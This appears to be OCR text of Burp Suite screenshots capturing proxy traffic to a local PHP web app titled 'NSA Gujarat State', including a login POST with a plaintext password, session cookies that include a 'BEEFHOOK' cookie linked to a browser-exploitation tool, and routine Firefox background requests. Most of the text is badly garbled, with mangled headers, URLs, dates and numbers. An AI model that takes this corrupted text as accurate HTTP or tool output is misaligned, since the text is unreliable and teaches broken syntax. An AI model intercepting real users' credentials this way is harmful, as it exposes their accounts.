12 ipsdfincomingAelemetrymozi.. POST /submithelemetry/d07TTed-03ds -4de.. ¥/ tot v 18:05: 2080
O== T L@
Request Response == - 23
Raw  Hex wo= | ety Hex  Rende W= | focuest attributes B -
1 BET /nsallogin.php NTTE/L.L T HTTE/1.1 200 CK
tomt: 1 = Date: Tue, 02 — B
Mozilla/s.0 (VWindows Vingd: x4 zo100101 F Server: Ap 1.1.1p ST &
X-Povered-By: PRP/B.3.0
en-Us, en: q=0.5 Expires: Thu, 19 Request headers 2
gzip, deflace
: XMLEEepRaquest
7 Response headers 8w
1ocalhost/asa
Comtent-Type: Tert/BEmi: CRAESST=UTF-3
a PRPSESSID=
uneEname® Eequired="" class="form-control
1-labe it
"pASINOLA™ EEUALEA=TT Class=TIOrM-CORTLE
sccount™>
<a class=rar Tem® nEetstadmin/alax.phprACT 1on"0g0UTET
€1 riasssrra Aot
OE € » omatches | (B} € 3| enus 0 matches

" e 0O Cme HE =



B e Project inruder Repeater Window  Help Burp Sute Community Edition v2023.3.5 - Temporary Project - o x
Dashboard  Target  Proxy  Inruder  Repeater  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam & settings
Intercept  WTTP history  WebsSackets history B} Proxy senings
‘ Filter: Hiding CSS, image and general binary content ‘@
* Host Method URL Params  Edited  Status  Length MIMEtype  Bxtension Title Comment ns " Caokies Time Listener port
2 hatpifflocalhast GET  /nsafloginphp 200 2104 HTML php 1900142 M.. 8080
5 hapylocalnast POST  /msa/admin/ajax.phpaction=loginZ v 200 36 tem 19017 2 M... 8080
4 hipiocalost GET  /mafindexphppage=home v 200 8669 HTML php NSA Gujarat State 1800:17 2 M... 5080
5 hipylocalhost GET  jnsajadminajaxphpladion=get art.. 200 25 HIML php 19:00:162 M.. 5080
6 GET 200 a7 . [ 34.107.221.82 18:00:312 M., 8080
7 hpydetecponalfirefoccom  GET  /successaiipns v 200 z e w 3400722182 18:00:31 2 M.
] GET T v 200 25 tem ot 3410722182 1900:31 2 M., 8080
9 Mipsyjsenices addansmozila... GET  japi/v4/addons/search/7quid=defaul-.. 200 13182 ISOM ¥ wasnanes 1902:01 2 M.. B0BO
10 hitpsyprersioncheck-bgaddons... GET  /update/VersionCheck phpireqVersio v 200 872 ISON php v 3416080233 18:02:032 M.. 8080
1 hpsy/aussmozilacrg GET  jupdate/3/systemaddans/112.02/202. 200 an . vl v 35200081200
12 i ymozi.. POST 240 v 200 622 tem V34120208123
Request Respanse
Prefty  Raw  Hex B W = | ety Raw  Hex  Render B " = e atribues 2 o~
1 POST /nmaladmin/ajax.phplaction=logind NITE/L.L HTTP/1.1 200 CK
2 Most: localhost Date: Tus, D2 May 021 13:30:17 GNT — — D -
3 Fosilla/s.0 (Windows NT 10.0: Winéd: x64; ©viiD8.0) Gecko/20100101 Firefos/133.0 Server: Apache/3.4.54 (Winfd] CpeaSSLil.i.ip PEF/8.3.0 quest query parameters
] X-Fovered-By: PHF/B.3.0
: Accept-Language: en-US,en;q=0.5 Espires: Thu, 15 Hov 151 08:53:00 GET Request bady parameters 3 -
¢ kecepr-Encoding: geip, deflace Cache—Control: no-store, no-cache, must—revalidave
7 Conteme-Type: applicati Lencoded; e —cac)
© X-Pequested-Nich: XMLHrrpRequest Content-Lengen: L Request cookies LR
© Comtemc-Lengeh: 40 Comnection: close
origin: netp://localnest 10 COMtent-Type: TEXT/MCmI: CRAIIETTUTF-g
connection: close oy Request headers. LLEN
12 Rererer: nrtp://localnost/nsal FER
13 Cookie: BEEFECOK= -
3 31vp: ; PHPSESSID- Respanse headers 9
s2rdSsftongehderd Lhso2 174
4 Sec-Fetch-Deac: ewpiy
ecch-Mode: corn
etch-Site: same-origin
15 usermame=omers 40sudan. comspassword= 12345
@S [« [saren amatches | (G € | enus o matches
3 - a7 oM
Qs sy FOoLeCe@e BB ~ Qe oo
B sup Project intruder Repeater Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.
Filtes: Hiding €SS, image and general binary content ‘@
- Host Method URL Params  Edted  Ststs  Length MMEtpe  Brension Title Comment s i Cookies Time Listener port
2 ipyocalhost GET  /msafloginphp 200 2004 HTML php 127000 19:00:14 2 M.. 8080
3 hipylocalhost POST /nsajadmin/ajaxphpTadion=login2 v 200 326 tet php 127001 18:00:17 2 M.. 8080
4 hitpyilocalhast GET s 200 16669 HTML php. NSA Gujarat State 127001 19:08:17 2 M... 8080
5 hpylocalnost GET  /msaadminajaphpradion=getcat.. 200 25 HIML php 122000 1800118 2 M., 8080
6 GET 200 37 L il 3410722182 180031 2
7 hipy/detecportalficefoccom  GET /successblipd v 200 ;5 tem o 3470722182 1800:31 2
8 Wpy/detedportalivefoncom  GET  /successbtlipd v 200 25 ten w 34.107.221.82 18:00:31 2
9 hpsyjsenicesaddonsmozilla... GET  /apive/addons/searchTguid=defaul-. 200 1318 ION v mslanss 180201 2 M...
10 htpsipersioncheck-bg.addons.. GET  /update/versionCheckphpiregversion.. 200 872 ON php V3416080233 1902032 M., 8080
1 hitpsyjauss.mozitacrg GET  jupdate/3/Systemaddons/112.0.2/202. 200 an L ™ ¥ 35200781200 19:02:04 2 M.. B0BO
2 g rymozi.. POST red-03 . 200 622 teat ¥ 34120208123 19:06:01 2 M... 8080
O0= = inspector
Respanse
Raw  Hex B Prefty  Raw  Hex  Render 8
1 GET /nsa/indss.php?page=home HTTB/L.L TTETTB/1.1 200 0K
= How Lhost Date: Tue, 0 May 2023 13:30:17 GHT
S User-agenc: Mozilla/5.0 (¥indows NT 10.0: Winéd: x6d: rv:i0S.0) Gecko/Z0100101 Firetox/1iz.0 Server: Apache/Z.4.59 (VANG4) OpenSSL/l.l.ip PHP/8.2.0
4 ACCEPE: TOXC/NTI,APPILCALLON/KAEML4XIL, APPLLCAT 100/ XI1L: Q=0 5, NAGE/ VLT, Lmage/ ¥ebp, */ #0708 x- PRP/S.2,
S Accepr-language: en-US,en;q=0.5 19 Nov 1981 0B:52:00 GAT
© Aecept-Encoding: gaip, deflate Cache-Control: no-stors, no-cache, must-revalidate
7 Comnection: closme
© Refersr: http://localhost/asal nnsct ion:
© Cookis: BEEFEOOK- Conze charset=UTF-8
B LE TS YY) 19E: + PHPSESSTD= Contenc-Lengeh: LE340
83raBsTtongEhderd Ih5o23174
Tpgrade-Insecure-Requests: L < IDOCTYPE huml>
Sec-Fetch-Dest: document <html Lang=renms
12 etchMode: navigats meta charsse-tue 8% /3
13 tch-Site: mame-origin meta mame=tuizyport® concemtedwidthedevice-width, initial-scalesl, shrime-ro-fitenot /s
14 Sec-Feten-vasr: 71 meta mamestdescription® contemtent [
WeTa mame="AUTROE™ Content=T />
15 ctitles
BSA Gujarat State
<rtities
<1-- Favicon-->
<link rel=ricon® type="image/x-icon” href="assets/img/favicon.ico” />
<1-- Font kwemome icons (free vermion)--» Applying changes
<crlpt SEc="hCops://use. fontavenome.com/releases/v5.13.0/39/all.Ja" crossorigin="anonymous
IS
/seripes
23 <i—- Gaogle foncs——»
24 1//fonts. googleapis, comicns Mams ly=Kerr iv=ather4Sans: 400, 7007 rel=s
: $400,300,3001taL4c, 4001 aLic, 700, T001TA
Lic™ relamstylesbest™ types~text/css® />
<1-- Third party plugin C33-->
<liak href=radmin/ Jquery min.css® el
link hreg=r
nTEpa://cands. C1oUGTLATS  com/ajax/ 1P/ MAGRATIC-DOPUD . 38/ 1. 1. 0/RAGNITAC-POJUR . N . C33" TeL®
rarulsshasts /s
@B € > [z amatches | (B} € 3| enus 0 matches

B Qsea

B

=)

Ta7PM
522023



B sup Project intruder Repeater Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam {3 settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.

Filtes: Hiding €SS, image and general binary content @
- Host Method URL Params  Edted  Stetws  Length MIMEtype  Extension Title Comment s i Cookies Time Listener port

2 hitp://localhast GET /nsaflogin.php 200 2104 HTML php 127.00.1 19:00:142 M, 8080

3 hitpi//localhast POST  /nsajadmin/ajax.phpTaction=login2 J 200 326 text php 127001 180017 2 M., 8080

4 ety localhast GET /msajindexphpipage=home v 200 16669 HTML php NSA Gujarat State 127.00. 19:08:17 2

|5 mpylocainast GET  /msajadminajaxphpracion=getcart.. 00 35 WML php 127000 190218 2 M...

6 GET 00 3T bl 34107.221.82 180031 2

7 hitp://detectportal firefoxcom  GET Jsuccess btiped. v 200 235 text o 34107.221.82 15:00:31 2 M,

8 hitp://detectportaltfirefox.com GET Jsuccesst?ipvé v 200 235 teat ot 34.107.221.82 19:00:31 2

9 hpsyjsenicesaddonsmozilla... GET  /apive/addons/searchTguid=defaul-. 20w mon v mslanss 180201 2 M.. 8080

10 htpsipersioncheck-bg.addons.. GET  /update/versionCheckphpiregversion.. 00 W2 KON php V3416080233 1902032 M., 8080

n hitps://auss mozila.org GET Jupdate/3/Systemaddons/112.0.2/202. 200 an YL xmml 35244181201 19:02:04 2 M... 8080

2 2 ymozi.. POST . 200 622 teat ¥ 34120208123 19:06:01 2 M... 8080

O0= = inspector @ x
Request Response T
1 Raw  Hex B Prefty  Raw  Hex 8
1 GET /mmaladmin/ajax.phplaction=gst_care_count NTTE/L.L T HTTE/1.1 200 OK
% Momt: localhost 2 Date: Tue, 02 Kay 2023 13:30:18 GHT
S User-agenc: Mozilla/s.0 (¥indows NT 10.0: Winéd: x6d: tv:ii0S.0) Gecko/Z0100101 Firetox/1iz.0 5 Server: Apache/2.4.54 (4INEd] CpemsSL/1.1.1p PHF/8.2.0
4 Accepr: 4 X-Poversd-p z
S Accepr-language: en-US,en;q=0.5 < Expires: Thu, o0 onr
© Aecept-Encoding: gzip, deflate © Cache-Control: no-store, ho-cache, must-revalidate
7 X-PBequested-With: ¥MLHLtpEequest 7 Pragma: no-cache
* Comnection: closs © Conmtent-Length: 0
Refersr: hitp://localhost/nsa/index. php7page=home Comnection: close
1% Cookie: BEEFRCOR- 10 Contenc-Type: test/hemi: charsec=UTF-8
J3MBLE TS YTH 1V THEKATE : PAPSESSTD= |11
#lrd95ffohgéhOer3 1h5o23174 12
11 Sec-Ferch-Dest: o
12 Sec-Ferch-Mode: cors
tch-Site: mame-origin
Applying changes
@ ¢]2 = amatches | (G € | enus 0 matches
3 a7 oM
- = sLZoLeme BB Ao

B sup Project intruder Repeater Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam {3 settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.

Filtes: Hiding €SS, image and general binary content @
# Host Method URL Params  Edited  Status  Length MIMEtype  Extension Title Comment s [ Cookies Time Listener port

z mpyocalnast GET  jsafloginphp 00 2104 HTML php 127001 18:00:142 M.. 8080

5 hpysocalnast POST  /msasadminajaxphpraction=loginz v 00 326 tem php 127000 180017 2 M... 8080

4 hpiocalost GET  /msajindexphpipage=home v 200 16669 HTML php NSA Gujarat State 127004 1800:17 2 M... 5080

5 htpyflocalnost GET jnsajadminjajaxphpTadion=gel carl. 0 w5 HTML php 127001 18:00:16 2 M.. 8080

& GET 200 nr ML fitml 34.107.221.82 18:00:31 2 M. 8080

7 hpydetecponalfirefoccom  GET  /successaiipns v 0 @ tem w 3410722182 18:00:31 2 M., 8080

] GET T v 00 B tem ot 3410722182 19:0031 2M... 8080

£ hitps:/jserdices.addans mozilla... GET /api/vd/addans/search/?quid=default- ¢ 200 13182 SON R TSTIRIEY-*Y 18:02:01 2 M... BOBO

10 hitpsy/persioncheck-bg.addons... GET JupdatejVersionCheck phpiregversior v 200 1872 1SON php ¥ 3416050233 18:02:03 2

1 hpsy/aussmozilacrg GET  jupdate/3/systemaddans/112.02/202. o . vl v 35200081200 1802042

12 i ymozi.. POST 840 v 00 62 tem V34120208123 19:06:01 2

= = inspector @ X
Request Response @
vty Raw  Hex [= ] Prefty  Raw  Hex  Render B " = e atribues 2 o~
1 BET /cancmical.html HTTR/1.1
% Most: detectportal.firsfox.com 2 . B -
3 User-Agent: Hosilla/5.0 (Windows NT 10.0; Winéd: x84 ©vi108.0) Gecko/Z0100101 Firefox/11Z.0 3 quest heacers
4 Accepc: */* 1 google
: Accept-Language: en-US,en;q=0.5 s 01 ay 023 1£:50:01 GHT Response headers 8 v
¢ Aceept-Encoding: gzip, deflace €
7 Cache-Control: no-cact 7 Comtent—Type: test/heml
© Pragma: no-cachs © Cache-Control: public,muse-revalidacs,mes-age=0,s-mazage=3£00
Connection: close © Comnection: clome
u 11 aneta MUCP-eqQUIVETESTrEsh” CORLENT="0:Url=hTTyS://SUDPOLT.DOTI1LA.OLG/KD/CADT IVE-DOrTALT/>
@B € > [z amatches | (B} € 3| enus 0 matches
Tarem

B Qsea

=)

522023



B sup Project intruder Repeater Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.

Filtes: Hiding €SS, image and general binary content @
- Host Method URL Params  Edted  Ststs  Length MMEtpe  Brension Title Comment s i Cookies Time Listener port
2 hitp://localhast GET /nsaflogin.php 200 2104 HTML php 127.00.1 19:00:142 M, 8080

3 hitpi//localhast POST  /nsajadmin/ajax.phpTaction=login2 J 200 326 text php 127001 180017 2 M., 8080

4 hatp/localnast GET /msajindexphpipage=home v 200 16669 HTML php NSA Gujarat State 127.00 190817 2

5 hpylocalnast GET  /nsy/admin/ajaxphpradion=getcan.. v 200 25 HIML php 122000 1800182 M., 8080

6 GET 200 317 X il 34.107.221.82 19:0031 2 M... 8080

T GET iE v 200 235 ‘teat ‘bt 34107.221.82 12:00:31 2 M... 8080

8 hitp://detectportaltfirefox.com GET Jsuccesst?ipvé v 200 235 teat ot 34.107.221.82 19:00:31 2

9 hpsyjsenicesaddonsmozilla... GET  /apive/addons/searchTguid=defaul-. 200 1318 ION v mslanss 180201 2 M...

10 htpsipersioncheck-bg.addons.. GET  /update/versionCheckphpiregversion.. 200 872 ON php V3416080233 1902032 M., 8080
n hitps://auss mozila.org GET Jupdate/3/Systemaddons/112.0.2/202. 200 an YL xmml 35244181201 19:02:04 2 M... 8080
2 g rymozi.. POST . 200 622 teat ¥ 34120208123 19:06:01 2 M... 8080
O0= = inspector @ x
Response o ()
Raw  Hex B Prety  Raw  Mex  Render 8 O T B
L BET /auccess. exe2iped NITE/L.L L HTTR/I.L 00 R
- Momt: dereceporeal.ficstor.com > Server: ngin: I = D
3 User-agent: Rozilla/5.0 (VADMowS NT 10.0: WANEA: ¥6d; ©vii0S.0) Gecko/Z0100101 Firetox/13Z.0 = Contenc-Lengra: 8 quest query parameters
4 Accept: * .
S Accepr-language: en-US,en;q=0.5 5 Request headers g~
© Aecept-Encoding: gaip, deflate 6
7 Comnection: close 7
* Pragma: no-cache 2 . Response headers 8 v
Cache-Control: no-cache Comnection: close
u i1 success
@ ¢]2 = amatches | (G € | enus 0 matches
3 a7 oM
H Qseo e T 0L CEEBOEB Gl

B sup Project intruder Repeater Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.

Filtes: Hiding €SS, image and general binary content @
# Host Method URL Params  Edited  Status  Length MIMEtype  Extension Title Comment s [ Cookies Time Listener port

2 hpgocainast GET  jsafloginphp 00 2104 HTML php 127001 18:00:142 M.. 8080

5 hpysocalnast POST  /msasadminajaxphpraction=loginz v 200 a6 e php 127000 1800117 2 M., 8080

4 hpiocalost GET  /msajindexphpipage=home v 200 8669 HTML php NSA Gujarat State 127000 1800:17 2 M... 5080

5 htpyflocalnost GET  /nsajadmin/ajaxphpTadion=get cart.. v 200 25 HIML php 127001 19:00:162 M.. 5080

& GET 200 nr XML el 34.107.221.82 19:00:31 2 M... 8080

7 hpydetecponalfirefoccom  GET  /successaiipwd v 20 m  tem o 340722182 18:00:31 2 M.. 8080

] GET v 00 B tem ot 3410722182 190031 2 M... 2080

£ hitpsy/jserdces.addans mozilla... GET /api/v4/addans/search/?quid=default- v 200 13188 SON ¥ 1818111188 18:02:01 2 M... BOBO

10 hitpsy/persioncheck-bg.addons... GET JupdatejVersionCheck phpiregversior v 200 1872 1SON php ¥ 3416050233 18:02:03 2

1 hpsy/aussmozilacrg GET  jupdate/3/systemaddans/112.02/202. o vl v 35200081200 1802042

12 i ymozi.. POST 840 v 00 62 tem V34120208123 19:06:01 2

= = inspector T ®x

Request Response @

vty Raw  Hex B v = Render B " = e atribues 2 o~
1 BET /muccess.txt?ipve EITE/L.L 1
% Most: detectportal.firsfox.com 2 Server: nginx — - n
3 User-Agent: Hosilla/5.0 (Windows NT 10.0; Winéd: x84 ©vi108.0) Gecko/Z0100101 Firefox/11Z.0 3 Comcent-Length: 8 quest query parameters

e 4 Via: 1.1 google

s uage: en-TS, en;q=0.5 S Date: Mon, DL May 2033 15:33:15 GNT Request headers 8 v
¢ kecepr-Encoding: geip, deflace € Age: 79035

7 Comnection: close 7 Comtent—Type: test/plain

* Pragma: no-cachs © Cache-Control: public,muse-revalidacs,mes-age=0,s-mazage=3£00 Response headers 8 v

Cache-Contral: mo-cachs © Comnection: clome
u 11 success
@B € > [z amatches | (B} € 3| enus 0 matches

Tarem

B Qsea

=)

522023



El wup Project kniruder Repester Window Help Burp Sste Communiy Ediion 1202335 - Temporary Project - 8 x

Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.
Filtes: Hiding €SS, image and general binary content ‘@
- Host Method URL Params  Edted  Ststs  Length MMEtpe  Brension Title Comment s i Cookies Time Listener port
2 Mipocalhost GET  /msafloginphp 200 2004 HTML php 127000 19:00:14 2 M.. 8080
3 hipyflocalhost POST  /nsajadmin/ajaxphpraction=login2 v 200 326 tett php 127000 18:00:17 2 M., 8080
4 hetp:focalhast GET /msasindexphpipage=home v 200 16669  HTMIL php NSA Gujarat State 127001 1§:08:17 2 M... 8080
5 hpylocalnast GET  msaadminajaphpracion=getcart.. 200 25 HIML php 122000 1800182 M., 8080
6 GET 200 37 L il 34.107.221.82 19:00:31 2 M., 5080
7 hipy/detecportalficefoccom  GET /successblipd v 200 ;5 tem o 3470722182 19:00:31 2 M.. 8080
8 htpy/detedportalirefoncom  GET /successbtlipd v 200 25 et ) 34.107.221.82 18:00:312 M., 8080
9 i mozilla... GET i i - 200 w18 sON FRRTIRIE ] 19:02:01 2 M... 80RO
10 htpsisersioncheck-bg.addons.. GET  /update/versionCheckphpiregversion.. 200 872 JSON php V3416080233 1902032 M., 8080
1 hitpsyjauss.mozitacrg GET  jupdate/3/Systemaddons/112.0.2/202. 200 an L ™ ¥ 35200781200 19:02:04 2 M.. B0BO
2 g rymozi.. POST red-03 . 200 622 teat ¥ 34120208123 19:06:01 2 M... 8080
0= " inspector
Respanse
Hex B v = erery R M mender Bn =
1 GET /api/vi addons/ aearch/ Fguid= T HTTE/2 200 OF
detaulc-themet domozilla. 40mozilla. comiiCgonglend0search.mozilla | - Comteme—Type: applization/jsom
211 2 4 mozilla.orgyiCadgiiOsearch.mozilia.orgh | o Content-Lengeh: 11575
see “iantsaomeriil 5 40mo3111a, SEGYICTLFSTOX-a198N010 | 4 ALLOV: OET, KEAD, OPTIGNS
VA40MOZ111a. 0LYICIOXYPECKYYADEE LC, b JUBGR Jang=en-03 ATTP/ 1.1 © Cache-Control: max-age=is0
2 Host: services.addons.morilla.ord © Conmtent-Security-Folicy: font-src 'self' hUps://addons.mozilla.ord/static-server/:
3 Eozilla/5.0 (Windows NT 10.0; Win€d; x64; rv:i08.0) Gecko/20100101 Firsfox/112.0 Conpect-sre ‘self’ Bttpa://’.google-analytics.com; frame-scc
4 httpa://ukw.recaptcha.net/recaptchal; style-sic 'unsafe-inline’
¢ Accept-language: en-US,en;q=0.5 hEtpa /) add 111 + ab3 *none’ "mone's child-sre
# Accept-Incoding: gaip, deflace Jwuv.cecaptcha.net/ recapichal; iBg-arc 'melf’ Bioh: dat
7 Sec-Fetch-Deac: empiy Jaddons.mazilla. org/stat lc-server/ hutys://addons.mozllla.org/usex-medla/; 8ceipt-are
¢ Sec-Feteh-Mode: mo-cors /wws. google-analyvica. con/analyvics. 42 Kupa://wwe.googlecagmanager . con/grag: 32
SecFeech-Sit heEps:// hreps://
1 d1 2ctsidiac” netpm:// eanieonr heeps://add illa.org/static-merver/; media-sce
Te: cratlers hetps:/fwideos.cdn.mozilla.ner; form-action ‘mslfl; report-uri /_capreporc_
Connection: close 7 pate: Tue, 02 Kay 2023 13:33:01
¢ Etag: /"5Icatci3fcdi33ic0aedssaisceceioa”
© PUblic-Fey-Pins: max-age=5i84000; LnCLUQESWBDODALDS:
bin-sha25E="FoiWRY [OVIia3ihaBc LRSCTXE] L1 TSSVVIGOTUA4PELE=!
15
Beferrer-Folicy: same-crigin
Server: nginx
Strict-Transport-Security: max-age=1153£000 Applying changes

baeTe0d 2778
F-Concent Type Options: nosnift
ame—Options: DENT
L Vary: or sqin, heepts Encading, k-Country-Code, kecept-Language
12 %-Cacher Blus from olowtico
1 204£270000d4c% 39078304 1402164200 ¢ Lovdfront .net (ClondFront)

52

Yeane-ct-ro
XeAmz-CT-Id: munmw:acmup Ec4 T9IPHEVhaCRINOPCSITar_as) i0sXawe=

0 matches

oco.eme BB ~ Qe JO

10 matches

E Bup Project intruder Repester Window Help Burp Sute Community Ecilion v2023.3.5 - Temporary Project - 5 x
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Infercept _ HTTP history  WebSackets history {B) Proxy setiings

Filtes: Hiding €SS, image and general binary content ‘@

* Host Method URL Params  Edited  Status  length MIMEtype  Bxtension Title Comment ns ® Caokies Time Listener port

2 hatpi/flocalhast GET  /nsafloginphp 200 2104 WML php 127.001 18:00:142 M.. 8080

5 hpysocalnast POST  /msasadminajaxphpraction=loginz v 200 a6 e php 127000 1800117 2 M., 8080

4 hpiocalost GET  /msajindexphpipage=home v 200 8669 HTML php NSA Gujarat State 127001 1800:17 2 M... 5080

5 hipylocalhost GET  jnsajadminajaxphpladion=get art.. 200 25 HIML php 127001 19:00:162 M.. 5080

6 GET 200 a7 . [ 34.107.221.82 18:00:312 M., 8080

7 hpydetecponalfirefoccom  GET  /successaiipns v 0 @ e w 3400722182 18:00:31 2 M., 8080

] GET T v 00 B tem ot 3410722182 1900:31 2 M., 8080

3 hipsyjsenices addansmozilla... GET Japijv4/addans/search/7quid=defaul-. 200 13182 ISOM J  was1anes 18:02:01 2 M.. B0BO

10 2 b GET = v 200 1872 50N php. ¥ 34.16080.233

1 hpsy/aussmozilacrg GET  jupdate/3/Systemaddans/112.02/202... m  an X il v 35208181200

12 i ymozi.. POST 240 v 00 62 tem V34120208123

O==  jnpector

Hex Render 8w =
1 BET /update/ 25 =T
=ca030£7-c2 13alasesTIm4) 2 y=Folicy: child-src https://wwr.recapcha.net/recaptcha/; commect-sre 'melf’
132.0.2 appos=¥: ppVersion=112.0.2fupdaceType=1124 netpa://t.google-analytics.con: form-action 'aeif': atyle-arc 'unaate-inline’
cempatNode=normal HTTP/1.1 ddons.mozilla.org/stacic-server/: font-sre 'self'
2 Homt: veraloncheck-hg.addons.mosilla.ory lons.mozilla.org/statlc-server/: lmg-src 'self' blob: data:
5 User-Agent: Mo2illa/S.0 (Windows NT 10.0: Winéd: #64; rv:108.0) Gecke/I0100101 Firefox/112.0 https://addons.mozilla. org/static-server/ hreps://addons.mzilla.org/user-medial; frame-sre
4 Accepr: */* hn(u!"fIII,[!CGD[:)IA.n!td‘[etlﬂtrhﬂf, script-sre hetps://vwv.google-analytics.com/analytics.js
¢ Aecept-Language: en-US,=n;q=0.6 hetpa: //wev. googletagmanager . com{geag/Ja hrepa://wev.recaptcha.net/recaptohal
¢ Aecept-Encoding: gip, detlate s/ . Greatls, comfcaptchmd bitpar/ /v qeaic, o/ sscaptohl

/' ‘none; media-arc
‘nome’: £epors-uri /_caprepors_

/vmeo-.cm mosiiia.me

3 Public-Key-Plus: max-age=5194000; includeSubDomains;
pu.-ahn_se--Iununy1wu.9lmugsc7xmxnsw-uwn.aqpma-
b i AEE="

Refercer-Policys same-origin

i3 Commection: clome Server: nginx

£45800b11 1342115000

F-Concent Type Options: posnift

¥-Trame-Options

Content-Lengeh:
1.1 gosgle
02 May 2033 13:32:02 GNT

-~Control: wax-age=3e00 Applying changes

ag: ¥/"001a0893173DTITITACESO00ZE EDCD"

14 Content-Typs: application/ison

15 Vary: hecepe-Encoding

fre

17 ¥-Cache-Stacus: revalidated
5 Alt-3ve: B3=":4437; ma=2582000,h3

addone®: {
vegaypronyfesie. . Jung
“\lpdn

mveEaLON®: .51
TndAre 11nEn:

@B € > [z amatches | (B} € 3| enus 0 matches
B asea ¢ SO0 CEO BB ~ Qe




E Burp Project intruder Repeater Window Help Burp Swite Community Edition v2023.3.5 - Temporary Project
Dashboard  Target  Proxy  Iniruder  Repester  Collaboralor  Sequencer  Decoder  Comparer  logger  Bxtensions  Leam (&) Settings
Intercept HTTP history  WebSackets history. {8} Proxy settings.
Filtes: Hiding €SS, image and general binary content @
- Host Method URL Params  Edted  Ststs  Length MMEtpe  Brension Title Comment s i Cookies Time Listener port
2 hipifocalost GET  /majlaginphp 00 2104 WML php 127000 19:00:14 2 M.. 8080
3 htpyflocalnost POST /nsajadmin/ajaxphpTadion=login2 v 200 326 tett php 127000 18:00:17 2 M., 8080
4 hatp/localnast GET /msajindexphpipage=home v 200 16669 HTML php NSA Gujarat State 127.00 190817 2
5 hpylocalnast GET  msaadminajaphpracion=getcart.. 200 25 HIML php 122000 1800182 M., 8080
6 GET 200 37 L il 3410722182 180031 2
7 hipy/detecportalficefoccom  GET /successblipd v 00 ;5 tem o 3470722182 19:00:31 2 M.. 8080
8 Wpy/detedportalivefoncom  GET  /successbtlipd v 00 W5 tem w 34.107.221.82 19:00:31 2
9 hpsyjsenicesaddonsmozilla... GET  /apive/addons/searchTguid=defaul-. 200 1318 ION v mslanss 180201 2 M...
10 httpsipersioncheck-bg.addons.. GET jupdate/versionCheckphpiredversion.. 200 872 JON php V3416080233 190203 2 M., 8080
|11 ntpsyjausimozitaorg GET  jupdate/3/Systemaddans/112.02/202... 20 an S il v 3208381200 19:02:04 2 M... 8080
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